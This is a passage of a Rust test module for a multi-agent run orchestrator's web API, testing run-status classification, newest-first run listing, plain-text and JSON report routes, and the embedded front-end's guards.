21261        state.id = "20260922-090200-dead".to_owned();
21262        state.status = RunStatus::Reviewing;
21263        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
21264            .expect("serialize list row");
21265        assert_eq!(row["status"], "reviewing");
21266        assert_eq!(row["display_status"], "stale");
21267        assert_eq!(row["live"], "dead", "{row}");
21268        assert!(!row["done"].as_bool().unwrap());
21269    }
21270
21271    #[test]
21272    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21273        use crate::run::Liveness::{Dead, Live, Unknown};
21274        let mut state = RunState::new(
21275            PathBuf::from("/repo/magi"),
21276            "main".to_owned(),
21277            "abc".to_owned(),
21278            "Review only".to_owned(),
21279            Config::default(),
21280        );
21281        for (status, parked, node, waiting, live, expected) in [
21282            (
21283                RunStatus::Judging,
21284                true,
21285                "github-text",
21286                false,
21287                Dead,
21288                "parked",
21289            ),
21290            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21291            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21292            (
21293                RunStatus::Judging,
21294                true,
21295                "github-text",
21296                true,
21297                Dead,
21298                "waiting",
21299            ),
21300            (
21301                RunStatus::Judging,
21302                false,
21303                "github-text",
21304                true,
21305                Dead,
21306                "waiting",
21307            ),
21308            (
21309                RunStatus::Judging,
21310                false,
21311                "github-text",
21312                false,
21313                Dead,
21314                "stale",
21315            ),
21316            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21317            (RunStatus::Judging, true, "park", false, Live, "judging"),
21318            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21319            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21320            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21321            (
21322                RunStatus::Blocked,
21323                true,
21324                "github-text",
21325                true,
21326                Dead,
21327                "waiting",
21328            ),
21329        ] {
21330            state.status = status;
21331            state.parked = parked;
21332            state.events.clear();
21333            state.event(
21334                "park",
21335                "an earlier park does not determine the latest state",
21336            );
21337            state.event(node, "message is not used for classification");
21338            let summary = RunSummary::of(&state, waiting, live);
21339            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21340            assert_eq!(
21341                summary.display_status, expected,
21342                "{status:?}/{node}/{live:?}"
21343            );
21344            assert_eq!(detail.display_status, summary.display_status);
21345            assert_eq!(detail.waiting, summary.waiting);
21346        }
21347        state.status = RunStatus::Judging;
21348        state.parked = false;
21349        state.events.clear();
21350        assert_eq!(run_display_status(&state, false, Dead), "stale");
21351    }
21352
21353    #[test]
21354    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21355        use crate::run::Liveness::{Dead, Live, Unknown};
21356        let mut state = RunState::new(
21357            PathBuf::from("/repo/magi"),
21358            "main".to_owned(),
21359            "abc".to_owned(),
21360            "Badge".to_owned(),
21361            Config::default(),
21362        );
21363        for (status, waiting, live, superseded, expected) in [
21364            (RunStatus::Gating, false, Dead, false, "stale"),
21365            (RunStatus::Gating, false, Dead, true, "superseded"),
21366            (RunStatus::Gating, false, Unknown, true, "superseded"),
21367            (RunStatus::Gating, true, Dead, true, "superseded"),
21368            (RunStatus::Gating, true, Dead, false, "waiting"),
21369            (RunStatus::Gating, false, Unknown, false, "gating"),
21370            (RunStatus::Gating, false, Live, true, "gating"),
21371            (RunStatus::Gating, true, Live, true, "waiting"),
21372            (RunStatus::Merged, false, Dead, true, "merged"),
21373            (RunStatus::Blocked, false, Dead, true, "blocked"),
21374        ] {
21375            state.status = status;
21376            let display = run_display_status(&state, waiting, live);
21377            assert_eq!(
21378                run_badge_status(&state, &display, live, superseded),
21379                expected,
21380                "{status:?}/{live:?}/superseded={superseded}"
21381            );
21382        }
21383    }
21384
21385    #[test]
21386    fn summarize_and_detail_expose_badge_status() {
21387        use crate::run::Liveness::Dead;
21388        let mut state = RunState::new(
21389            PathBuf::from("/repo/magi"),
21390            "main".to_owned(),
21391            "abc".to_owned(),
21392            "Badge".to_owned(),
21393            Config::default(),
21394        );
21395        state.status = RunStatus::Gating;
21396        let none = HashSet::new();
21397        let id = state.id.clone();
21398        let mut by = HashMap::new();
21399        let rows = summarize(
21400            [state.clone()],
21401            &none,
21402            &none,
21403            &by,
21404            |_| Some(false),
21405            |_| None,
21406        );
21407        // No driver recorded: liveness is not provably dead, so the node stays.
21408        assert_eq!(rows[0].badge_status, rows[0].display_status);
21409        by.insert(id, "20260901-000000-913b".to_owned());
21410        let detail = RunDetailView::of(
21411            state.clone(),
21412            false,
21413            Dead,
21414            Some("913b".to_owned()),
21415            None,
21416            None,
21417        );
21418        assert_eq!(detail.badge_status, "superseded");
21419        let json = serde_json::to_value(&detail).unwrap();
21420        assert_eq!(json["badge_status"], "superseded");
21421        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21422        assert_eq!(detail.badge_status, "stale");
21423    }
21424
21425    #[tokio::test]
21426    async fn run_display_status_routes_share_the_open_question_store() {
21427        let f = Fixture::start().await;
21428        let id = "20260922-090200-abcd";
21429        write_run(&f.runs(), id, RunStatus::Judging);
21430        let mut state = read_run(&f.runs(), id).unwrap();
21431        state.parked = true;
21432        state.driver_exited = true;
21433        state.event("github-text", "waiting for the owner");
21434        state.save_under(f.home.path()).unwrap();
21435        let mut task = Task::new(
21436            "resumed task".to_owned(),
21437            "do it".to_owned(),
21438            PathBuf::from("/repo"),
21439            Source::Human,
21440        );
21441        task.runs = vec![id.to_owned(), id.to_owned()];
21442        f.queue().put(&mut task).unwrap();
21443        let store = f.questions();
21444        let mut q = Question::new(
21445            id.to_owned(),
21446            "github-text".to_owned(),
21447            "owner".to_owned(),
21448            "Approve the text?".to_owned(),
21449            String::new(),
21450            Vec::new(),
21451        );
21452        store.put(&mut q).unwrap();
21453        for expected in ["waiting", "parked"] {
21454            let list = f.get("/api/runs").await.json();
21455            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21456            assert_eq!(list[0]["display_status"], expected);
21457            assert_eq!(detail["display_status"], expected);
21458            assert_eq!(detail["waiting"], list[0]["waiting"]);
21459            assert_eq!(list[0]["badge_status"], expected);
21460            assert_eq!(detail["badge_status"], expected);
21461            assert!(list[0]["superseded_by"].is_null());
21462            assert!(detail["superseded_by"].is_null());
21463            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21464            let history = task_detail["history"].as_array().unwrap();
21465            assert_eq!(history.len(), 2);
21466            assert!(history[0]["badge"].is_null());
21467            assert_eq!(history[1]["badge"], expected);
21468            q.status = ask::QuestionStatus::Answered;
21469            store.put(&mut q).unwrap();
21470        }
21471    }
21472
21473    #[tokio::test]
21474    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21475        let f = Fixture::start().await;
21476        let id = "20260922-090200-abcd";
21477        write_run(&f.runs(), id, RunStatus::Judging);
21478        let mut state = read_run(&f.runs(), id).unwrap();
21479        state.parked = true;
21480        state.driver_exited = true;
21481        state.event("park", "stopped at a node boundary");
21482        state.save_under(f.home.path()).unwrap();
21483
21484        for expected in ["parked", "stale"] {
21485            let list = f.get("/api/runs").await.json();
21486            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21487            assert_eq!(list[0]["live"], "dead");
21488            assert_eq!(list[0]["display_status"], expected);
21489            assert_eq!(detail["display_status"], expected);
21490            // Model a driver claim followed by a crash before the next event:
21491            // the persisted flag changes, but the last event is still park.
21492            state.parked = false;
21493            state.save_under(f.home.path()).unwrap();
21494        }
21495    }
21496
21497    #[tokio::test]
21498    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21499        let f = Fixture::start().await;
21500        for id in [
21501            "20260902-140501-aaaa",
21502            "20260902-140502-bbbb",
21503            "20260902-140503-cccc",
21504        ] {
21505            write_run(&f.runs(), id, RunStatus::Merged);
21506        }
21507
21508        let all = f.get("/api/runs").await.json();
21509        let capped = f.get("/api/runs?limit=2").await.json();
21510
21511        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21512        assert_eq!(all.as_array().map(Vec::len), Some(3));
21513        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21514        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21515    }
21516
21517    #[tokio::test]
21518    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21519        let f = Fixture::start().await;
21520        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21521
21522        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21523
21524        assert_eq!(res.status, 200);
21525        assert!(
21526            res.headers
21527                .contains("content-type: text/plain; charset=utf-8"),
21528            "a browser must render it, not download it: {}",
21529            res.headers
21530        );
21531        // The assertion is on content, not on the absence of escapes: colour
21532        // is a process-global that `serve` turns off at startup, and another
21533        // test in this binary may own it while this one runs.
21534        assert!(
21535            res.body.contains("20260902-140501-a1b2"),
21536            "the report is about the run that was asked for: {}",
21537            res.body
21538        );
21539    }
21540
21541    #[tokio::test]
21542    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21543        // The view names the run's state directory, which reads the process-global home.
21544        crate::run::pin_test_home();
21545        let f = Fixture::start().await;
21546        let id = "20260902-140501-a1b2";
21547        write_run(&f.runs(), id, RunStatus::Stalled);
21548        // A stalled panel and one review round, written through the real
21549        // state file so the route reads what a run really leaves behind.
21550        let path = f.runs().join(id).join("run.json");
21551        let mut v: serde_json::Value =
21552            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21553        v["tally"] = serde_json::json!({
21554            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21555            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21556            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21557            "met_quorum": false, "rankings": 1
21558        });
21559        v["reviews"] = serde_json::json!([{
21560            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21561            "e2e_deferred": true,
21562            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21563                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21564            ]}]
21565        }]);
21566        std::fs::write(&path, v.to_string()).unwrap();
21567        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21568        std::fs::write(
21569            f.runs().join("20260902-140502-dead").join("run.json"),
21570            "{not json",
21571        )
21572        .unwrap();
21573
21574        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21575
21576        assert_eq!(res.status, 200, "{}", res.body);
21577        assert!(res.headers.contains("content-type: application/json"));
21578        let j = res.json();
21579        assert_eq!(j["schema"], 1);
21580        assert_eq!(j["header"]["id"], id);
21581        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21582        let kinds: Vec<&str> = j["sections"]
21583            .as_array()
21584            .unwrap()
21585            .iter()
21586            .map(|s| s["kind"].as_str().unwrap())
21587            .collect();
21588        assert_eq!(kinds, ["candidates", "tally", "review"]);
21589        let tally = &j["sections"][1]["tally"];
21590        assert_eq!(
21591            (tally["decided"].clone(), tally["provisional"].clone()),
21592            (false.into(), true.into())
21593        );
21594        let round = &j["sections"][2]["rounds"][0];
21595        assert_eq!(round["e2e"]["state"], "deferred");
21596        assert_eq!(round["findings"][0]["severity"], "major");
21597        assert_eq!(round["findings"][0]["blocking"], true);
21598        assert_eq!(round["findings"][0]["state"], "open");
21599
21600        // The raw route keeps working beside it.
21601        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21602
21603        // An unreadable run is an error, as on the text route, and is counted.
21604        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21605        assert_ne!(bad.status, 200, "{}", bad.body);
21606        assert_eq!(
21607            bad.status,
21608            f.get("/api/runs/20260902-140502-dead/report").await.status
21609        );
21610        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21611        assert_eq!(
21612            f.get("/api/runs/20260902-999999-ffff/report.json")
21613                .await
21614                .status,
21615            404
21616        );
21617    }
21618
21619    #[tokio::test]
21620    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21621        crate::run::pin_test_home();
21622        let f = Fixture::start().await;
21623        let id = "20260902-140501-a1b2";
21624        write_run(&f.runs(), id, RunStatus::Blocked);
21625        let path = f.runs().join(id).join("run.json");
21626        let mut v: serde_json::Value =
21627            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21628        v["sync_only_passes"] = serde_json::json!([{
21629            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21630            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21631            "head_before": "before-sha", "head_after": "after-sha",
21632            "result": "synchronized", "verification_allowed": false
21633        }]);
21634        std::fs::write(&path, v.to_string()).unwrap();
21635
21636        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21637        assert_eq!(res.status, 200, "{}", res.body);
21638        let json = res.json();
21639        let section = json["sections"]
21640            .as_array()
21641            .unwrap()
21642            .iter()
21643            .find(|s| s["key"] == "sync_only")
21644            .expect("base-only report section");
21645        let line = section["lines"][0].as_str().unwrap();
21646        assert!(line.contains("origin/main @ base-sha"), "{line}");
21647        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21648        assert!(line.contains("verification was not allowed"), "{line}");
21649    }
21650
21651    #[tokio::test]
21652    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21653        crate::run::pin_test_home();
21654        let f = Fixture::start().await;
21655        let id = "20260902-140505-facts";
21656        write_run(&f.runs(), id, RunStatus::Stalled);
21657        let path = f.runs().join(id).join("run.json");
21658        let mut v: serde_json::Value =
21659            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21660        v["candidates"] = serde_json::json!([{
21661            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21662            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21663        }]);
21664        v["tally"] = serde_json::json!({
21665            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21666            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21667            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21668            "met_quorum": false, "rankings": 1
21669        });
21670        v["quota"] = serde_json::json!([
21671            {
21672                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21673                "agent": "signed-out", "cause": "authentication"
21674            },
21675            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21676        ]);
21677        v["startup"] = serde_json::json!({
21678            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21679            "failure": "fetch refused\ncredentials expired"
21680        });
21681        v["recovery"] = serde_json::json!({
21682            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21683            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21684            "repair": {"started": {"before": "abcdef012345"}}
21685        });
21686        v["reviews"] = serde_json::json!([{
21687            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21688            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21689            "vote_split": true, "verdict": "approve_with_findings",
21690            "e2e": [{
21691                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21692            }],
21693            "reviews": [
21694                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21695                 "summary": "Initial **concern**.\n\nPlease inspect.",
21696                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21697                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21698            ],
21699            "reconsideration": [{
21700                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21701                "reason": "The blocker is resolved.\nOne minor issue remains."
21702            }]
21703        }]);
21704        v["merge_repairs"] = serde_json::json!([{
21705            "question": "question-42", "head": "abcdef012345",
21706            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21707            "gate": [], "phase": "Failed",
21708            "failure": "owner decision required\ninspect updated results"
21709        }]);
21710        v["bump_decision_attempts"] = serde_json::json!([
21711            {"agent": "first", "outcome": "unavailable"},
21712            {"agent": "second", "outcome": "patch\naccepted"}
21713        ]);
21714        v["release_bump"] = serde_json::json!({
21715            "version": "1.2.3", "local": true,
21716            "problem": "publish failed\nregistry refused",
21717            "release": {
21718                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21719                "failed": "registry refused\nawait owner approval",
21720                "log": [{
21721                    "name": "cargo publish", "code": 1,
21722                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21723                }]
21724            }
21725        });
21726        std::fs::write(&path, v.to_string()).unwrap();
21727
21728        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21729        assert_eq!(res.status, 200, "{}", res.body);
21730        let j = res.json();
21731        assert_eq!(j["schema"], 1);
21732        assert_eq!(j["header"]["tone"], "warn");
21733        assert_eq!(
21734            j["header"]["startup"],
21735            "review branch=topic stage=fetch complete=false"
21736        );
21737        assert_eq!(
21738            j["header"]["startup_failure"],
21739            "fetch refused\ncredentials expired"
21740        );
21741        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21742        assert_eq!(
21743            j["sections"][0]["items"][0]["detail"],
21744            "Already covered.\nNo patch needed."
21745        );
21746        assert_eq!(
21747            j["sections"][1]["tally"]["rate_limited"],
21748            serde_json::json!(["judge-1", "judge-2"])
21749        );
21750        let sections = j["sections"].as_array().unwrap();
21751        let labels: Vec<_> = sections
21752            .iter()
21753            .map(|section| {
21754                section["key"]
21755                    .as_str()
21756                    .or_else(|| section["kind"].as_str())
21757                    .unwrap()
21758            })
21759            .collect();
21760        assert_eq!(
21761            labels,
21762            [
21763                "candidates",
21764                "tally",
21765                "quota_details",
21766                "recovery",
21767                "review",
21768                "merge_repairs",
21769                "release_decision_attempts",
21770                "release_bump",
21771                "release_execution"
21772            ]
21773        );
21774        let note = |key: &str| {
21775            sections
21776                .iter()
21777                .find(|section| section["kind"] == "notes" && section["key"] == key)
21778                .unwrap()
21779        };
21780        let unavailable = note("quota_details");
21781        assert_eq!(unavailable["tone"], "warn");
21782        assert_eq!(
21783            unavailable["lines"],
21784            serde_json::json!([
21785                "judge-1 (signed-out: re-authenticate)",
21786                "judge-2 (usage limit)"
21787            ])
21788        );
21789        let recovery = note("recovery");
21790        assert_eq!(recovery["tone"], "warn");
21791        assert!(
21792            recovery["lines"][0]
21793                .as_str()
21794                .unwrap()
21795                .contains("head moved\nreview the new diff")
21796        );
21797        assert_eq!(
21798            recovery["lines"][1],
21799            "the task's own completion criteria were kept"
21800        );
21801        assert_eq!(recovery["lines"][2], "repair: unfinished");
21802        let review = sections
21803            .iter()
21804            .find(|section| section["kind"] == "review")
21805            .unwrap();
21806        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21807        let round = &review["rounds"][0];
21808        assert_eq!(round["verified_head"], "fedcba9");
21809        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21810        assert_eq!(round["status"], "incomplete");
21811        assert_eq!(round["e2e"]["state"], "pass");
21812        assert_eq!(round["reviewers"][0]["vote"], "reject");
21813        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21814        assert_eq!(
21815            round["reviewers"][0]["reason"],
21816            "Initial **concern**.\n\nPlease inspect."
21817        );
21818        assert!(
21819            !round["reviewers"][0]["reason_md"]
21820                .as_array()
21821                .unwrap()
21822                .is_empty()
21823        );
21824        assert!(round["reviewers"][1]["final_vote"].is_null());
21825        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21826        assert_eq!(
21827            round["reconsideration"][0]["reason"],
21828            "The blocker is resolved.\nOne minor issue remains."
21829        );
21830        assert!(
21831            !round["reconsideration"][0]["reason_md"]
21832                .as_array()
21833                .unwrap()
21834                .is_empty()
21835        );
21836        let repairs = note("merge_repairs");
21837        assert_eq!(repairs["tone"], "warn");
21838        assert_eq!(
21839            repairs["lines"][0],
21840            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21841        );
21842        assert_eq!(
21843            repairs["lines"][1],
21844            "held: owner decision required\ninspect updated results"
21845        );
21846        assert_eq!(
21847            repairs["lines"][2],
21848            "original [R1-1-1] Minor: Check edge case"
21849        );
21850        assert_eq!(
21851            repairs["lines"][3],
21852            "original reviewer #1: ApproveWithFindings"
21853        );
21854        assert_eq!(
21855            repairs["lines"][4],
21856            "Repair never approves a merge; updated results require a fresh owner decision."
21857        );
21858        let attempts = note("release_decision_attempts");
21859        assert_eq!(attempts["tone"], "neutral");
21860        assert_eq!(
21861            attempts["lines"],
21862            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21863        );
21864        let bump = sections
21865            .iter()
21866            .find(|section| section["kind"] == "release_bump")
21867            .unwrap();
21868        assert_eq!(bump["bump"]["automerge"], "local");
21869        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21870        assert_eq!(bump["tone"], "warn");
21871        let execution = note("release_execution");
21872        assert_eq!(execution["tone"], "warn");
21873        assert_eq!(
21874            execution["lines"][0],
21875            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21876        );
21877        assert_eq!(
21878            execution["lines"][1],
21879            "tag on remote: true; 1 command(s) completed"
21880        );
21881        assert_eq!(
21882            execution["lines"][2],
21883            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21884        );
21885
21886        // The original endpoint remains terminal text, including these same facts.
21887        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21888        assert_eq!(raw.status, 200);
21889        assert!(
21890            raw.headers
21891                .contains("content-type: text/plain; charset=utf-8")
21892        );
21893        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21894        assert!(raw.body.contains("Already covered."));
21895        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21896        assert!(raw.body.contains("judge-2 (usage limit)"));
21897        assert!(
21898            raw.body
21899                .contains("owner decision required\ninspect updated results")
21900        );
21901        assert!(raw.body.contains("2. second: patch\naccepted"));
21902        assert!(raw.body.contains(
21903            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21904        ));
21905
21906        // Historical records do not acquire invented startup or verification facts.
21907        let legacy_id = "20260902-140506-old";
21908        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21909        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21910        assert_eq!(legacy.status, 200, "{}", legacy.body);
21911        let legacy = legacy.json();
21912        assert!(legacy["header"]["startup"].is_null());
21913        assert!(legacy["header"]["startup_failure"].is_null());
21914        assert!(
21915            legacy["sections"]
21916                .as_array()
21917                .unwrap()
21918                .iter()
21919                .all(|section| section["kind"] != "notes")
21920        );
21921    }
21922
21923    #[tokio::test]
21924    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21925        crate::run::pin_test_home();
21926        let f = Fixture::start().await;
21927        let id = "20260902-140503-delib";
21928        write_run(&f.runs(), id, RunStatus::Merged);
21929        let path = f.runs().join(id).join("run.json");
21930        let mut v: serde_json::Value =
21931            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21932        v["judgements"] = serde_json::json!([
21933            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21934        ]);
21935        v["tally"] = serde_json::json!({
21936            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21937            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21938            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21939            "met_quorum": true, "rankings": 1
21940        });
21941        v["deliberation"] = serde_json::json!([
21942            {
21943                "round": 1,
21944                "turns": [
21945                    {
21946                        "judge": 1,
21947                        "agent": "judge-1",
21948                        "body": "I prefer candidate **A** because it has cleaner tests.",
21949                        "tentative": "A"
21950                    }
21951                ]
21952            },
21953            {
21954                "round": 2,
21955                "turns": [
21956                    {
21957                        "judge": 1,
21958                        "agent": "judge-1",
21959                        "body": "Still thinking, no choice yet.",
21960                        "tentative": null
21961                    }
21962                ]
21963            }
21964        ]);
21965        std::fs::write(&path, v.to_string()).unwrap();
21966
21967        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21968        assert_eq!(res.status, 200, "{}", res.body);
21969        let j = res.json();
21970        let judging = j["sections"]
21971            .as_array()
21972            .unwrap()
21973            .iter()
21974            .find(|s| s["kind"] == "judging")
21975            .expect("judging section exists");
21976
21977        // Existing summary lines remain intact
21978        let delib_lines = judging["deliberation"].as_array().unwrap();
21979        assert_eq!(delib_lines.len(), 2);
21980        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21981        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21982
21983        // rounds carry turn bodies, tentative and parsed body_md
21984        let rounds = judging["rounds"].as_array().unwrap();
21985        assert_eq!(rounds.len(), 2);
21986        let r1_t0 = &rounds[0]["turns"][0];
21987        assert_eq!(r1_t0["judge"], 1);
21988        assert_eq!(r1_t0["agent"], "judge-1");
21989        assert_eq!(r1_t0["tentative"], "A");
21990        assert_eq!(
21991            r1_t0["body"],
21992            "I prefer candidate **A** because it has cleaner tests."
21993        );
21994        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21995
21996        let r2_t0 = &rounds[1]["turns"][0];
21997        assert_eq!(r2_t0["judge"], 1);
21998        assert_eq!(r2_t0["agent"], "judge-1");
21999        assert!(r2_t0["tentative"].is_null());
22000        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
22001        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
22002
22003        // A run with empty deliberation array yields empty rounds
22004        let id_empty = "20260902-140504-nodelib";
22005        write_run(&f.runs(), id_empty, RunStatus::Merged);
22006        let path_empty = f.runs().join(id_empty).join("run.json");
22007        let mut v_empty: serde_json::Value =
22008            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22009        v_empty["judgements"] = serde_json::json!([
22010            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22011        ]);
22012        v_empty["deliberation"] = serde_json::json!([]);
22013        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22014
22015        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22016        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22017        let j_empty = res_empty.json();
22018        let judging_empty = j_empty["sections"]
22019            .as_array()
22020            .unwrap()
22021            .iter()
22022            .find(|s| s["kind"] == "judging")
22023            .expect("judging section exists");
22024        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22025    }
22026
22027    #[tokio::test]
22028    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
22029        let f = Fixture::start().await;
22030
22031        let html = f.get("/").await;
22032        let css = f.get("/app.css").await;
22033        let js = f.get("/app.js").await;
22034
22035        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22036        assert!(
22037            html.headers
22038                .contains("content-type: text/html; charset=utf-8")
22039        );
22040        assert!(css.headers.contains("content-type: text/css"));
22041        assert!(js.headers.contains("content-type: text/javascript"));
22042        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22043    }
22044
22045    #[test]
22046    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22047        let body = |name: &str| {
22048            let at = APP_JS
22049                .find(name)
22050                .unwrap_or_else(|| panic!("{name} missing"));
22051            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22052        };
22053        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22054        let note = body("function landRoundNote");
22055        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22056        assert!(note.contains("Land round ${round}"));
22057        let land = body("function renderLand");
22058        let note_at = land
22059            .find("landRoundNote(pr)")
22060            .expect("renderLand uses the note");
22061        assert!(
22062            note_at
22063                < land
22064                    .find("roundRail(pr)")
22065                    .expect("renderLand uses the rail")
22066        );
22067    }
22068
22069    #[test]
22070    fn the_runs_page_redesign_keeps_its_guards() {
22071        let body = |name: &str| {
22072            let at = APP_JS
22073                .find(name)
22074                .unwrap_or_else(|| panic!("{name} missing"));
22075            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22076        };
22077        // A null child must never reach the native append (it prints "null").
22078        let land = body("function renderLand");
22079        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22080        assert!(
22081            !land.contains("box.append("),
22082            "renderLand must use append()"
22083        );
22084        assert!(land.contains("append(box, ["));
22085        // Tabs are hash routes; the run id alone decides a reload.
22086        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
22087        assert!(
22088            body("function applyRoute")
22089                .contains("route.name !== state.route.name || route.id !== state.route.id")
22090        );
22091        // The decorative diagram is gone, the strip and its guards stay.
22092        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22093        assert!(!INDEX_HTML.contains("advise-converge"));
22094        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22095        assert!(APP_JS.contains("provisional"));
22096        for id in [
22097            "run-tab-overview",
22098            "run-tab-timeline",
22099            "run-tab-report",
22100            "run-report",
22101            "runs-scope",
22102        ] {
22103            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22104        }
22105        assert!(!INDEX_HTML.contains("runs-tree"));
22106        assert!(!INDEX_HTML.contains("run-raw-panel"));
22107        // Fold still says it cannot be resumed.
22108        assert!(APP_JS.contains("resume"));
22109        // The unreadable-runs count stays on the page.
22110        assert!(APP_JS.contains("unreadable"));
22111    }
22112
22113    #[test]
22114    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22115        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22116        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22117        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22118        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
